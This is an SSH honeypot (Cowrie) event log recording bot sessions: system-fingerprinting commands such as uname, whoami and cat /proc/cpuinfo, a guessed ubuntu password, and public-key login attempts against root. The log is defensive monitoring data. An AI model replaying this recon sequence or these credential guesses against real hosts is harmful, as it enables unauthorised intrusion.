{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.926502Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.929742Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.054350Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.347417Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.351171Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.480434Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.763018Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.766512Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:42.890201Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:43.187627Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:43.191012Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:43.325961Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:43.610083Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:43.613590Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:43.743437Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.030045Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.033163Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.164051Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.471366Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.474440Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.603655Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.885482Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:44.888454Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:45.016279Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:45.302567Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:45.306597Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:45.436080Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:45.445506Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"13d3eeeb4e72","protocol":"ssh","message":"New connection: 103.125.103.201:39970 (10.17.0.5:22) [session: 13d3eeeb4e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:00.371231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:00.376410Z","src_ip":"103.125.103.201","session":"13d3eeeb4e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:00.628853Z","src_ip":"103.125.103.201","session":"13d3eeeb4e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWEasd123!","message":"login attempt [ubuntu/QWEasd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:01.667681Z","src_ip":"103.125.103.201","session":"13d3eeeb4e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:02.923227Z","src_ip":"103.125.103.201","session":"13d3eeeb4e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":53798,"dst_ip":"10.17.0.5","dst_port":22,"session":"588c8f420935","protocol":"ssh","message":"New connection: 191.241.76.128:53798 (10.17.0.5:22) [session: 588c8f420935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:03.259136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:03.265562Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:03.418361Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:10:c7:cd:93:ab:bc:84:c2:fa:f1:33:93:75:b3:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkmD8xnnVrSWVpylpLtQEYdsxeHe8qsh0cwj4orROwV6iYxjQBWvyBRgaWyu6nyPycsqdgNYagfsUGDjXmPib/gRpmfqGoY2GbIAwqQrWIttL225+ZSoUe8fRjI/JhHH+b0y91hNdRsz5fK34aJ8OMDu3jUjZfEJQsX7s7H9SOJGGj8NqCjJdMsctMNuodwsxyjH1+nRY0gs8S3vVoAfYLy1EYKmHbdRI8u+/rUpWuKVn4dDopYRDVqGo0+qKXKuKJ1fg5rFEkEsM87he87KIWVVUn+7Ok2w7fcvxqgQ6JnpSJOdhaOjd5mvWOMR6m8raiv1yaoXlnCubF97HBLyeb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:10:c7:cd:93:ab:bc:84:c2:fa:f1:33:93:75:b3:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.137562Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:10:c7:cd:93:ab:bc:84:c2:fa:f1:33:93:75:b3:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkmD8xnnVrSWVpylpLtQEYdsxeHe8qsh0cwj4orROwV6iYxjQBWvyBRgaWyu6nyPycsqdgNYagfsUGDjXmPib/gRpmfqGoY2GbIAwqQrWIttL225+ZSoUe8fRjI/JhHH+b0y91hNdRsz5fK34aJ8OMDu3jUjZfEJQsX7s7H9SOJGGj8NqCjJdMsctMNuodwsxyjH1+nRY0gs8S3vVoAfYLy1EYKmHbdRI8u+/rUpWuKVn4dDopYRDVqGo0+qKXKuKJ1fg5rFEkEsM87he87KIWVVUn+7Ok2w7fcvxqgQ6JnpSJOdhaOjd5mvWOMR6m8raiv1yaoXlnCubF97HBLyeb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.142574Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:b4:10:eb:31:91:ac:34:20:8e:ee:57:13:ff:1d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoM9R3Y+vE7c5w+E64Iy75umwvvK/RjcVbACFLqgvkbzCm5Bi1MXwCQj/RbwqfVtLMpUC07EoV6IDIMyIj0MbuMU90LEkAaCfJEU68+TI5GwxRsHP+OcI4aPC958+VCa7Xq0CBwLYI0xtkmc9b5oCpiqoG6/M40laJ6VVUXKl+ojUc8Agkh7AANu8qoz/i1fWxkue9wPsKZDe5JJOQzFXnMXWUQ+G2oe6mILmfUVWULu7fyujaFJtTHfkXVY0mugLXOf91TGI9EEdE4lijp0jMwJ/6Z3QL8ZZCLhz2tpwdh5hJmjuahDtjBGxT2oDXtBMHqyQEsGqyUYijEfwFFr1aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:b4:10:eb:31:91:ac:34:20:8e:ee:57:13:ff:1d:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.286499Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:b4:10:eb:31:91:ac:34:20:8e:ee:57:13:ff:1d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoM9R3Y+vE7c5w+E64Iy75umwvvK/RjcVbACFLqgvkbzCm5Bi1MXwCQj/RbwqfVtLMpUC07EoV6IDIMyIj0MbuMU90LEkAaCfJEU68+TI5GwxRsHP+OcI4aPC958+VCa7Xq0CBwLYI0xtkmc9b5oCpiqoG6/M40laJ6VVUXKl+ojUc8Agkh7AANu8qoz/i1fWxkue9wPsKZDe5JJOQzFXnMXWUQ+G2oe6mILmfUVWULu7fyujaFJtTHfkXVY0mugLXOf91TGI9EEdE4lijp0jMwJ/6Z3QL8ZZCLhz2tpwdh5hJmjuahDtjBGxT2oDXtBMHqyQEsGqyUYijEfwFFr1aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.292348Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:1e:49:ef:50:3c:ef:df:c6:10:d5:c9:b0:aa:3f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx33WS+b8Bxrl4Giq2DCLEjNE2kNsPQz2zfa2pWzR4O7/5e/nS6rXzaRaeTj0YPMxTS5GaHlAbmvpYi968ohEnInVoHKtl2dkBeFMo+qChAa6QSxzLN7XwECaXapFW/VK3GyEwvTTZxxqPhqB+OnqbprKLy03ky9u2NURdBnnu3NguQ7yS0xLqcE833bs3ckzGD/PE4QYEWVbS25oyS9l3Zqzpf6BidmMfUCDImYhDwFptOjgk0uJFCvXkLrMqd+8QTookmkc/7tZ125v14qxjlY32K0YY5oABbAE7Jt/y/J29ZRWkfMqLrk/uCHRurZAvaGxIC2M5Yur+EHy5tfhNGCncSsNAniqIIPGYmWUg1Do4I0QZ6zW+JcO268KpqQYr+HJVIg96568tnohohQ3PDWys7w7iE/YXCSiKSWeSx4+vbDiNntyeuIgYP0h5rnvJuechk5aAGf9abOrltBwvxi/S6JyuWe6nxhGT0ORveJNVtjnubFlkWxJU/6DA+EtdnLTn4XUH78A3sVLfkcdYkaxHEwH/wgpA2mGbX641PoZJGhswe5rpMIsGc4/+7n6pzBSy7+PSuD247crOuPVpvihDV3Fbp3wz7SUn0mxRCE0wZuK8IPFRsEoqxfUjwc3Z2oLMLTeHsLEdbmV5QmXqNM2AhFgBtRhLzOvTZ13U1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:1e:49:ef:50:3c:ef:df:c6:10:d5:c9:b0:aa:3f:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.448838Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:1e:49:ef:50:3c:ef:df:c6:10:d5:c9:b0:aa:3f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx33WS+b8Bxrl4Giq2DCLEjNE2kNsPQz2zfa2pWzR4O7/5e/nS6rXzaRaeTj0YPMxTS5GaHlAbmvpYi968ohEnInVoHKtl2dkBeFMo+qChAa6QSxzLN7XwECaXapFW/VK3GyEwvTTZxxqPhqB+OnqbprKLy03ky9u2NURdBnnu3NguQ7yS0xLqcE833bs3ckzGD/PE4QYEWVbS25oyS9l3Zqzpf6BidmMfUCDImYhDwFptOjgk0uJFCvXkLrMqd+8QTookmkc/7tZ125v14qxjlY32K0YY5oABbAE7Jt/y/J29ZRWkfMqLrk/uCHRurZAvaGxIC2M5Yur+EHy5tfhNGCncSsNAniqIIPGYmWUg1Do4I0QZ6zW+JcO268KpqQYr+HJVIg96568tnohohQ3PDWys7w7iE/YXCSiKSWeSx4+vbDiNntyeuIgYP0h5rnvJuechk5aAGf9abOrltBwvxi/S6JyuWe6nxhGT0ORveJNVtjnubFlkWxJU/6DA+EtdnLTn4XUH78A3sVLfkcdYkaxHEwH/wgpA2mGbX641PoZJGhswe5rpMIsGc4/+7n6pzBSy7+PSuD247crOuPVpvihDV3Fbp3wz7SUn0mxRCE0wZuK8IPFRsEoqxfUjwc3Z2oLMLTeHsLEdbmV5QmXqNM2AhFgBtRhLzOvTZ13U1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.453023Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:a1:c1:ff:ce:92:9d:d3:0a:7e:1a:92:55:72:04:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw8k9Xw4fcyu9MqzGWYMhbndTpQO80PuqvkJ9WeumLTF3LGTBYvS9k6lfB8ww/zEPVA4h32AjKoYwkmMFmvg4aersjRmbVOZaz8DW1ZYJDbUT06QfUV9KokdAkHI9z7NTyFcG8hdwKaGNV7CgZEuzTkLqYRBcMlhX837gZMGC09pZ+5BUi7Gcd+QMBfFtQsrphQlvsaH8sMDK9mwUJDuehtfZLjwJaTLbF0DFC+iBUZkSHl7uAnDpaecFWx6Nyx9lmXn1xe3UWY/nKOhAigNuJkMmQTFuWx+HgqwcQ62WcYH9E2Y5LOJOHG6uIIcyFg/kGeYyXppSF0UB0hBIetZ7FCld129QXJ6TSXTdwIwDDiBE3C8gQDEHUJZBien35M6GoejRAVacu8T6lehX7RtnX0KkgKWhvrpz5foQEPGCxfkbYUEMLi3Ho+9qtiEUAhz6Pe4TOGm03HANtgMWSdNj9Uv2GB1NNhEakDQ9kg9K33uxX/LjzVhqYQszMx+z1dGRq0jQuRObBjV1yorCGkYx5JbcU4LBmYCB4r2AkV2OAdb2LhXzJRkzeIyeK/brm+LxO0196ynaJJ3eh+elbTJBpzl7mrzeDY0ewtlhe97TSjtiXcTxveZ0iXvDol4i4zNNGKCjIoSFQgYlDfYgs3HVuIZwCr60WVo293Q5SQNXXPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:a1:c1:ff:ce:92:9d:d3:0a:7e:1a:92:55:72:04:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.609043Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
